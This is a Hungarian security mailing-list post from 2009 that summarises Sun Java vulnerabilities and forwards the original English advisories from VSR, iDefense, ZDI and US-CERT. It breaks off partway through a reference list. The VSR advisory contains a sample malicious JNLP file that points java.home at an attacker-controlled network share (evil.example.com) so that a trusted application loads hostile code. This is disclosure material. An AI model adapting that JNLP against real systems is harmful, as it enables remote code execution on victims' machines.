[guru] Java biztonsagi frissitesek
DATE: Wed, 21 Jan 2009 00:42:10 +0100
A Java Web Start által használt JNLP állományokban sok esetben felülírhatóak
fontos rendszer paraméterek, mint például a java.home valamint az include
könyvtár. Windows rendszereken a támadó hálózati meghajtót is megadhat,
ilyenkor pedig a kripto könyvtár kicserélésével szabadon futtathat kódot a
rendszeren.
Heap és integer overflow hibákat találtak a JRE TrueType font kezelésében.
A Sun Java Web Start induláskor megjelenített képernyője tetszőleges
GIF állományt meg tud jeleníteni, de a fejléc feldolgozásakor heap overflow
hibát tartalmaz.
A JRE pack200 dekompresszora integer overflow hibát tartalmaz, aminek
hatására kód futtatásra nyílik lehetőség.
Heap overflow hibát találtak az AWT könyvtárban, a támadó számára kód
futtatást tesz lehetővé.
A SingleInstanceImpl osztály SI_FILEDIR tulajdonsága segítségével
kideríthető a felhasználó neve, valamint a pontos cache könyvtár, az
applet-ek hozzáférhetnek a fájlrendszerhez, valamint a socket korlátozások
is kikerülhetőek.
Az UTF-8 dekódoláskor nem figyeltek arra, hogy a kanonikus mellett az
érvénytelen hosszabb karakter kódolásokat is elfogadták, ezzel pl. CR,
LF, kettőspont vagy egyéb karakterek is átjuttathatók a szűrőkön.
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Virtual Security Research, LLC.
http://www.vsecurity.com/
Security Advisory
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Advisory Name: Java Web Start File Inclusion via System Properties Override
Release Date: 2008-12-03
Application: Sun Java Runtime Environment / Java Web Start
Versions: See below
Severity: High
Author: Timothy D. Morgan <tmorgan {a} vsecurity.com>
Vendor Status: Patch Released [3]
CVE Candidate: CVE-2008-2086
Reference: http://www.vsecurity.com/bulletins/advisories/2008/JWS-props.txt
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Product Description
- -------------------
- From [1]:
"Using Java Web Start technology, standalone Java software applications
can be deployed with a single click over the network. Java Web Start
ensures the most current version of the application will be deployed,
as well as the correct version of the Java Runtime Environment (JRE)."
Vulnerability Overview
- ----------------------
On March 27th, VSR identified a vulnerability in Java Web Start related
to the execution of privileged applications. This flaw could allow an
attacker to execute arbitrary code on a victim system if a user could be
convinced to visit a malicious web site.
Product Background
- ------------------
Java Web Start (JWS) applications are launched through specially
formatted XML files hosted on web sites with a "jnlp" file extension.
These files reference one or more "jar" files which are meant to be
downloaded and executed by client systems. JWS applications are run in
unprivileged mode by default but may be run with full user privileges if
the jnlp file requests this access. Privileged JWS applications must
have each jar file signed by the same trusted author in order to be
executed. However, jnlp files are not signed and may be hosted by
third-party web sites.
In addition to specifying application components, the jnlp specification
permits application authors to supply certain System properties which
may be retrieved by the application through the System.getProperty() and
System.getProperties() methods. Besides any user-supplied properties,
the Java VM also provides access to a number of sensitive runtime
settings through this interface.
More information on the jnlp format may be found in [2].
Vulnerability Details
- ---------------------
VSR discovered an unsafe behavior in the way properties are interpreted
when specified in jnlp files. In certain versions of the Java Runtime
Engine (JRE), values supplied through jnlp files override existing
system defaults. Thus far, VSR has verified the following System
properties may be overridden:
java.home
java.ext.dirs
user.home
Of particular interest are the java.home and java.ext.dirs properties.
If an attacker could lure a victim to open a malicious jnlp file which
references a trusted application, it may be executed without any
confirmation by the user. However, as the application attempts to load
classes, it may trust the malicous java.home and/or java.ext.dirs value.
These paths could point to a malicious local or remote JRE or extensions
installation. It appears that under Windows, UNC network paths may be
used for the java.home value. It is not yet known whether or not UNC
paths may be used for java.ext.dirs.
During testing, VSR found that Java Cryptography Extension (JCE) classes
failed to load when java.home was set to an invalid path. However, by
setting this path to network share which hosted a valid JRE
installation, the JCE classes loaded correctly. If such a network share
were hosted by the attacker, then arbitrary code could potentially be
loaded without restrictions, unbeknownst to the victim.
The following XML shows what a malicious jnlp file might look like.
Note that the malicious jnlp file would likely be very similar to the
ones users normally rely on with certain properties overriden in the
resources section.
<jnlp spec="1.0+" codebase="http://trusted.example.org/"; href="evil.jnlp">
<information>
<title>Trusted Application</title>
<vendor>Trusted Vendor</vendor>
<description>Trusted Application by Trusted Vendor</description>
<homepage href="http://trusted.example.org/"; />
<offline-allowed />
</information>
<security><all-permissions /></security>
<resources>
<j2se version="1.5+" />
<!-- Next line overrides the JRE's java.home System property -->
<property name="java.home" value="\\evil.example.com\jre" />
<jar href="signed-and-trusted-jce-dependent-library.jar" />
</resources>
<application-desc main-class="org.example.trusted.app.StartApp" />
</jnlp>
To fully exploit this specific attack vector, an attacker would need to
remotely or locally host a malicious version of classes used by a
trusted application and then lure a user into opening a malicious jnlp
file. A firewall installed between the attacker and victim could
mitigate this issue if the victim's machine were restricted from
accessing the hosted network share.
Note that certain JWS applications may trust other System properties,
such as user.home, and use them in ways which could be exploited in
application-specific variants of this attack.
Versions Affected
- -----------------
During testing, VSR found the following JRE versions to be vulnerable:
* 1.5.0_15 on Windows
* 1.6.0 on Windows
* 1.5.0_13-b05-237 on Mac OS X (distributed by Apple)
Version 1.6.0_05 on Windows did not appear to be vulnerable. However,
Sun recommends that any installations with the following versions be
updated:
* JDK and JRE 6 Update 10 and earlier
* JDK and JRE 5.0 Update 16 and earlier
* SDK and JRE 1.4.2_18 and earlier
Sun reports that JRE 1.3.x is not affected, nor is JRE 6 Update 7 for
Intel Itanium. For more information on versions affected and updates,
see [3].
Vendor Response
- ---------------
The following timeline details Sun's response to the reported issue:
2008-03-28 Sun was provided a draft advisory.
2008-03-28 An initial response was received from Sun.
2008-04-11 Sun reported that the issue could not be reproduced.
2008-04-11 VSR provided Sun additional exploit details.
2008-04-29 Sun reported the issue was reproduced and assigned
an internal issue tracking number of CR 6694892.
2008-12-03 Sun Alert 244988 was released with an associated security
update.
Sun Alert 244988 may be obtained at:
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244988-1
Recommendation
- --------------
Apply the JRE update as soon as possible. The issue is fixed in:
* JDK and JRE 6 Update 11 or later
* JDK and JRE 5.0 Update 17 or later
* SDK and JRE 1.4.2_19 or later
Review Sun Alert 244988 [3] for information on how to temporarily
disable Java Web Start to work around this issue.
Common Vulnerabilities and Exposures (CVE) Information
- ------------------------------------------------------
The Common Vulnerabilities and Exposures (CVE) project has assigned
the number CVE-2008-2086 to this issue. This is a candidates for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.
Acknowledgements
- ----------------
Thanks to George Gal for assistance in testing. VSR would like to thank
Sun for cooperating in the patch development process.
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
References:
1. Java Web Start Technology
http://java.sun.com/products/javawebstart/
2. Java Web Start Architecture JNLP Specification & API Documentation
http://java.sun.com/products/javawebstart/download-spec.html
3. Sun Alert 244988
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244988-1
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Copyright 2008 Virtual Security Research, LLC. All rights reserved.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iD8DBQFJN1kCQ1RSUNR+T+gRAl6TAJ9LmdTw8S4K3RMpgseiw/AkHUc81ACeK+pn
cXqD3636+kFoMIUNlNhVZUw=
=yv7u
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 12.02.08
http://labs.idefense.com/intelligence/vulnerabilities/
Dec 02, 2008
I. BACKGROUND
The Sun Java JRE is Sun's implementation of the Java runtime. For more
information, see the vendor's site found at the following link.
http://www.java.com
II. DESCRIPTION
Remote exploitation of a heap overflow vulnerability in Sun Microsystems
Inc.'s Java JRE could allow an attacker to execute arbitrary code with
the privileges of the current user.
The vulnerability exists within the font parsing code in the JRE.
Various types of fonts are supported, one of which is the TrueType
format font. The vulnerability occurs when processing TrueType font
files. During parsing, improper bounds checking is performed, which can
lead to a heap based buffer overflow.
III. ANALYSIS
Exploitation allows attackers to execute arbitrary code in the context
of the currently logged-on user. To exploit this vulnerability, a
targeted user must load a malicious Web page created by an attacker. An
attacker typically accomplishes this via social engineering or injecting
content into compromised, trusted sites.
The content of the overflow buffer undergoes a series of transformations
during the font decoding process. The data is not entirely controlled by
the attacker, but there is likely enough control to allow for the
overwriting of critical data structures in a manner that makes
exploitation possible.
IV. DETECTION
iDefense has confirmed the existence of this vulnerability in Sun
Microsystem Inc.'s Java JRE version 1.6.0_07 for Windows. Previous
versions and versions for other platforms may also be affected.
V. WORKAROUND
iDefense is currently unaware of any workarounds for this vulnerability.
VI. VENDOR RESPONSE
Sun Microsystem Inc. has released a patch which addresses this issue.
For more information, consult their advisories at the following URL.
http://onesearch.sun.com/onesearch/index.jsp?qt=Bug%206751322&charset=UTF-8
VII. CVE INFORMATION
A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.
VIII. DISCLOSURE TIMELINE
09/10/2008 Initial Vendor Notification
10/28/2008 Initial Vendor Reply
11/25/2008 Additional Vendor Feedback
12/02/2008 Coordinated Public Disclosure
IX. CREDIT
This vulnerability was discovered by Sean Larsson, iDefense Labs.
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright © 2008 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
~ There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFJODJZbjs6HoxIfBkRAk1nAKDt6PFkGPu1QmIuloDG9N9V4yc3FQCglUAH
P+jmeMp9co0KtkQe1M57hwk=
=1EjC
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 12.02.08
http://labs.idefense.com/intelligence/vulnerabilities/
Dec 02, 2008
I. BACKGROUND
Java Web Start (JWS) is a framework built by Sun that is used to run
Java applications outside of the browser. It is distributed with the
Java Runtime Environment (JRE) installation. JWS is typically launched
by clicking on a link in the browser, and results in a separate process
being started that is not tied to the JVM inside of the browser. A file
contains various parameters that describe the Java application to be
run. For more information, see the vendor's site found at the following
link.
http://java.sun.com/javase/technologies/desktop/javawebstart/index.jsp
II. DESCRIPTION
Remote exploitation of a memory corruption vulnerability in Sun
Microsystems Inc.'s Java Web Start could allow an attacker to execute
arbitrary code with the privileges of the current user.
When JWS starts up, it displays a splash screen. By default, the image
displayed on this splash screen is a GIF file provided by Sun, but it
is possible for an attacker to pass an arbitrary GIF file to the splash
logo parsing code.
The vulnerability occurs when parsing this GIF file. The parsing code
does not correctly validate several values in the GIF header. This lets
an attacker write data outside of the bounds of an allocated heap
buffer, which can lead to the execution of arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user. There are several ways to exploit
this vulnerability. In Internet Explorer 6, after the user visits the
malicious web page, no further user interaction is needed. However, in
FireFox and Internet Explorer 7, the user will be presented with the
'File Open' confirmation dialog, and will have to accept opening the
file. It would also be possible for an attacker to e-mail an infected
file to a user, or place it on a shared network drive. In this
situation, a targeted user would need to manually open the file.
Even though the vulnerability is likely to be triggered through the
browser, the actual vulnerability occurs in the Web Start binary. Since
this vulnerability allows for relatively precise control of the area and
content of memory corrupted, reliable exploitation is possible.
IV. DETECTION
iDefense has confirmed the existence of this vulnerability in Java Web
Start version 1.6_10 and 1.6_07 on Windows and Linux. Previous versions
may also be affected.
V. WORKAROUND
On Windows, it is possible to prevent automatic exploitation by double
clicking such a file, or opening it through the browser by removing the
file associations for JNLP files. However, if a user specifically
selects the Java Web Start application to open the JNLP file,
exploitation is still possible. This can be done by removing the
registry key for .jnlp in the 'HKEY_CLASSES_ROOT' registry hive.
An additional workaround which will prevent all exploitation attempts is
to rename the splashscreen library so that Java Web Start will not be
able to load it. This file is found in different locations depending on
the platform and installation choices, but one such location is:
C:\Program Files\Java\jre6\bin\splashscreen.dll
Renaming this file to splashscreen.dll.bak will prevent it from being
loaded.
VI. VENDOR RESPONSE
Sun Microsystems Inc. has released a patch which addresses this issue.
For more information, consult their advisory at the following URL.
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244987-1
VII. CVE INFORMATION
A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.
VIII. DISCLOSURE TIMELINE
10/01/2008 Initial Vendor Notification
11/05/2008 Initial Vendor Reply
11/25/2008 Additional Vendor Feedback
12/02/2008 Coordinated Public Disclosure
IX. CREDIT
This vulnerability was reported to iDefense by regenrecht.
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright © 2008 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
~ There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFJOE4Ibjs6HoxIfBkRAq7lAKDWvrsT2+KJSfwTUA4hVm0PZBhG2wCg28SF
2g/yCJEYuFi+VeZOd0h9LFI=
=F+J5
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 12.02.08
http://labs.idefense.com/intelligence/vulnerabilities/
Dec 02, 2008
I. BACKGROUND
Pack200 is a compression method introduced by Sun in the 1.5 release of
the JRE. It is used to compress Jar files, and is optimized for the
compression of Java class files. A Java applet can be compressed using
the pack200 tool, and if the browser plugin supports the pack200-gzip
encoding it will pass the compressed Jar file to the JRE for unpacking.
For more information, see the vendor's site at the following links.
http://www.sun.com/java/
http://java.sun.com/j2se/1.5.0/docs/guide/deployment/deployment-guide/pack200.html
II. DESCRIPTION
Remote exploitation of an integer overflow vulnerability in Sun
Microsystems Inc.'s Java JRE could allow an attacker to execute
arbitrary code with the privileges of the current user.
The vulnerability occurs when reading the Pack200 compressed Jar file
during decompression. In order to calculate the size of a heap buffer,
the code multiplies and adds several integers. The bounds of these
values are not checked, and the arithmetic operations can overflow.
This results in an undersized buffer being allocated, which leads to a
heap based buffer overflow.
III. ANALYSIS
Exploitation allows attackers to execute arbitrary code in the context
of the currently logged-on user. To exploit this vulnerability, a
targeted user must load a malicious Web page created by an attacker. An
attacker typically accomplishes this via social engineering or injecting
content into compromised, trusted sites.
Exploitation of heap overflow vulnerabilities on modern operating
systems can at times be difficult due to various heap integrity
protections. However, the Pack200 code uses a custom allocator that
does not contain such integrity checks. Labs testing has demonstrated
that code execution is possible on the Linux platform. A similar
methodology is likely to be successful on the Windows platform.
IV. DETECTION
iDefense has confirmed the existence of this vulnerability in Sun
Microsystem Inc.'s Java JRE version 1.6.0_07 for Windows and Linux.
According to Sun, Pack200 was first introduced in JRE 1.5.0. The latest
version of JRE 1.5, 1.5.0_15, does contain the vulnerable code, but the
browser plugin does not handle Pack200 encoding. As such, exploitation
through the browser does not appear to be possible with JRE 1.5.
V. WORKAROUND
The library containing the vulnerability can be renamed, which will
prevent it from being loaded. This workaround will prevent users from
loading Pack200 format Jar files, and from using the pack/unpack tools
that come with the JRE. However, normal applets and Java applications
will continue to function correctly. The vulnerable library is called
'unpack', and can be found in:
"%SYSTEMDRIVE%\Program Files\Java\JAVA VERSION\bin\unpack.dll"
on Windows, and in differing locations dependent upon the
distribution/platform on Unix systems.
VI. VENDOR RESPONSE
Sun Microsystem Inc.'s has released a patch which addresses this issue.
For more information, consult their advisory at the following URL.
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244992-1
VII. CVE INFORMATION
A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.
VIII. DISCLOSURE TIMELINE
10/02/2008 Initial Vendor Notification
11/25/2008 Initial Vendor Reply
12/02/2008 Coordinated Public Disclosure
IX. CREDIT
This vulnerability was reported to iDefense by regenrecht.
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright © 2008 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
~ There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFJOFMPbjs6HoxIfBkRAt4LAKDhmj/ozNKfY4ivEyfBzlaEWUIWMwCfWhzp
QSiD+sqZ2PGexeNSYO3XVrI=
=oup8
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 12.02.08
http://labs.idefense.com/intelligence/vulnerabilities/
Dec 02, 2008
I. BACKGROUND
The Sun Java JRE is Sun's implementation of the Java runtime. For more
information, see the vendor's site found at the following link.
II. DESCRIPTION
Remote exploitation of an integer overflow vulnerability in Sun
Microsystems Inc.'s Java JRE could allow an attacker to execute
arbitrary code with the privileges of the current user.
The vulnerability exists within the font parsing code in the JRE. As
part of its font API, the JRE provides the ability to load a font from
a remote URL. Various types of fonts are supported, one of which is the
TrueType format font. The vulnerability occurs when parsing various
structures in TrueType font files. During parsing, values are taken
from the file, and without being properly validated, used in operations
that calculate the number of bytes to allocate for heap buffers. The
calculations can overflow, resulting in a potentially exploitable heap
overflow.
III. ANALYSIS
Exploitation allows attackers to execute arbitrary code in the context
of the currently logged on user. To exploit this vulnerability, a
targeted user must load a malicious web page created by an attacker. An
attacker typically accomplishes this via social engineering or injecting
content into compromised, trusted sites.
IV. DETECTION
iDefense has confirmed the existence of this vulnerability in Sun
Microsystem Inc.'s Java JRE version 1.6.0_05 for Windows. Previous
versions may also be affected.
V. WORKAROUND
There is a potential workaround for the vulnerability, but it renders
the JRE unusable. It is possible to use the cacls program to change the
file permissions on fontmanager.dll. This will prevent the vulnerable
library from loading. However, this workaround has a serious impact on
the functionality of the JRE. When a webpage attempts to load an
applet, the JRE will abort with a runtime error, and the browser will
close.
VI. VENDOR RESPONSE
Sun Microsystem Inc. has released a patch which addresses this issue.
For more information, consult their advisory at the following URL.
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244987-1
VII. CVE INFORMATION
A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.
VIII. DISCLOSURE TIMELINE
07/31/2008 Initial Vendor Notification
08/01/2008 Initial Vendor Reply
10/21/2008 Additional Vendor Feedback
11/26/2008 Additional Vendor Feedback
12/02/2008 Coordinated Public Disclosure
IX. CREDIT
This vulnerability was reported to iDefense by Sebastian Apelt
(webmaster@buzzworld.org).
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright © 2008 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
~ There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFJOFsZbjs6HoxIfBkRAkAXAKCustwzLXcOKMcDJ1sZ0GonmW4F8ACg6Dva
mqtkKX2/C9fA7aiyNDRtgbA=
=Oo+F
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
ZDI-08-080: Sun Java AWT Library Sandbox Violation Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-08-080
December 4, 2008
-- Affected Vendors:
Sun Microsystems
-- Affected Products:
Sun Microsystems Java Runtime
-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 6249.
For further product information on the TippingPoint IPS, visit:
http://www.tippingpoint.com
-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Sun Microsystems Java. User interaction is
required in that a user must open a malicious file or visit a malicious
web page.
The specific flaw occurs within the Java AWT library. If a custom image
model is used for the source 'Raster' during a conversion through a
'ConvolveOp' operation, the imaging library will calculate the size of
the destination raster for the conversion incorrectly leading to a
heap-based overflow. This can result in arbitrary code execution under
the context of the current user.
-- Vendor Response:
Sun Microsystems has issued an update to correct this vulnerability. More
details can be found at:
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244987-1
-- Disclosure Timeline:
2008-04-16 - Vulnerability reported to vendor
2008-12-04 - Coordinated public release of advisory
-- Credit:
This vulnerability was discovered by:
* Anonymous
-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
CONFIDENTIALITY NOTICE: This e-mail message, including any attachments,
is being sent by 3Com for the sole use of the intended recipient(s) and
may contain confidential, proprietary and/or privileged information.
Any unauthorized review, use, disclosure and/or distribution by any
recipient is prohibited. If you are not the intended recipient, please
delete and/or destroy all copies of this message regardless of form and
any included attachments and notify 3Com immediately by contacting the
sender via reply e-mail or forwarding to 3Com at postmaster@3com.com.
--- End Message ---
--- Begin Message ---
ZDI-08-081: Sun Java Web Start and Applet Multiple Sandbox Bypass
Vulnerabilities
http://www.zerodayinitiative.com/advisories/ZDI-08-081
December 4, 2008
-- Affected Vendors:
Sun Microsystems
-- Affected Products:
Sun Microsystems Java Runtime
-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 5527, 4714.
For further product information on the TippingPoint IPS, visit:
http://www.tippingpoint.com
-- Vulnerability Details:
These vulnerabilities allow remote attackers to bypass sandbox
restrictions on vulnerable installations of Sun Java Web Start. User
interaction is required to exploit this vulnerability in that the target
must visit a malicious page.
The first vulnerability results in a cache location and a user name
information disclosure. By accessing the SI_FILEDIR property of a
SingleInstanceImpl class, the location of the temporary single instance
files can be parsed to discover the user name and cache location.
The second vulnerability allows applets to read any file on a victim's
filesystem, outside of the restricted path of the applet. The specific
flaw exists in the handling of the file: protocol assigned to an applet
codebase. If the codebase points to the local filesystem, any file is
then readable by the malicious applet.
The third vulnerability allows JNLP files to bypass socket restrictions.
By loading a secondary JNLP with an href attribute containing a
wildcard. When this object is instantiated, all hosts are eligible for
socket connect and accept.
-- Vendor Response:
Sun Microsystems has issued an update to correct this vulnerability. More
details can be found at:
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244988-1
-- Disclosure Timeline:
2008-07-14 - Vulnerability reported to vendor
2008-12-04 - Coordinated public release of advisory
-- Credit:
This vulnerability was discovered by:
* Peter Csepely
-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
CONFIDENTIALITY NOTICE: This e-mail message, including any attachments,
is being sent by 3Com for the sole use of the intended recipient(s) and
may contain confidential, proprietary and/or privileged information.
Any unauthorized review, use, disclosure and/or distribution by any
recipient is prohibited. If you are not the intended recipient, please
delete and/or destroy all copies of this message regardless of form and
any included attachments and notify 3Com immediately by contacting the
sender via reply e-mail or forwarding to 3Com at postmaster@3com.com.
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
National Cyber Alert System
Technical Cyber Security Alert TA08-340A
Sun Java Updates for Multiple Vulnerabilities
Original release date: December 05, 2008
Last revised: --
Source: US-CERT
Systems Affected
Sun Java Runtime Environment versions
* JDK and JRE 6 Update 10 and earlier
* JDK and JRE 5.0 Update 16 and earlier
* SDK and JRE 1.4.2_18 and earlier
* SDK and JRE 1.3.1_23 and earlier
Overview
Sun has released alerts to address multiple vulnerabilities
affecting the Sun Java Runtime Environment. The most severe of
these vulnerabilities could allow a remote attacker to execute
arbitrary code.
I. Description
The Sun Java Runtime Environment (JRE) allows users to run Java
applications in a browser or as standalone programs. Sun has
released updates to the Java Runtime Environment software to
address multiple vulnerabilities.
Sun released the following alerts to address these issues:
* 244986 : The Java Runtime Environment Creates Temporary Files
That Have "Guessable" File Names
* 244987 : Java Runtime Environment (JRE) Buffer Overflow
Vulnerabilities in Processing Image Files and Fonts May Allow
Applets or Java Web Start Applications to Elevate Their Privileges
* 244988 : Multiple Security Vulnerabilities in Java Web Start
and Java Plug-in May Allow Privilege Escalation
* 244989 : The Java Runtime Environment (JRE) "Java Update"
Mechanism Does Not Check the Digital Signature of the JRE that it
Downloads
* 244990 : A Buffer Overflow Vulnerability in the Java Runtime
Environment (JRE) May Allow Privileges to be Escalated
* 244991 : A Security Vulnerability in the Java Runtime
Environment (JRE) Related to Deserializing Calendar Objects May
Allow Privileges to be Escalated
* 245246 : The Java Runtime Environment UTF-8 Decoder May Allow
Multiple Representations of UTF-8 Input
* 246266 : Security Vulnerability in Java Runtime Environment May
Allow Applets to List the Contents of the Current User's Home
Directory
* 246286 : Security Vulnerability in the Java Runtime Environment
With Processing RSA Public Keys
* 246346 : A Security Vulnerability in Java Runtime Environment
(JRE) With Authenticating Users Through Kerberos May Lead to a
Denial of Service (DoS)
* 246366 : Security Vulnerabilities in the Java Runtime
Environment (JRE) JAX-WS and JAXB Packages may Allow Privileges to
be Escalated
* 246386 : A Security Vulnerability in Java Runtime Environment
(JRE) With Parsing of Zip Files May Allow Reading of Arbitrary
Memory Locations
* 246387 : A Security Vulnerability in the Java Runtime
Environment may Allow Code Loaded From the Local Filesystem to
Access LocalHost
II. Impact
The impacts of these vulnerabilities vary. The most severe of these
vulnerabilities allows a remote attacker to execute arbitrary code.
III. Solution
Apply an update from Sun
These issues are addressed in the following versions of the Sun
Java Runtime Environment:
* JDK and JRE 6 Update 11
* JDK and JRE 5.0 Update 17
* SDK and JRE 1.4.2_19
* SDK and JRE 1.3.1_24
If you install the latest version of Java, older versions may
remain installed on your computer. If you do not need these older
versions, you can remove them by following Sun's instructions.
Disable Java
Disable Java in your web browser, as described in the Securing Your
Web Browser document. While this does not fix the underlying
vulnerabilities, it does block a common attack vector.
IV. References
* Sun Alert 244986 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244986-1>
* Sun Alert 244987 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244987-1>
* Sun Alert 244988 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244988-1>
* Sun Alert 244989 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244989-1>
* Sun Alert 244990 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244990-1>
* Sun Alert 244991 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1>
* Sun Alert 245246 -
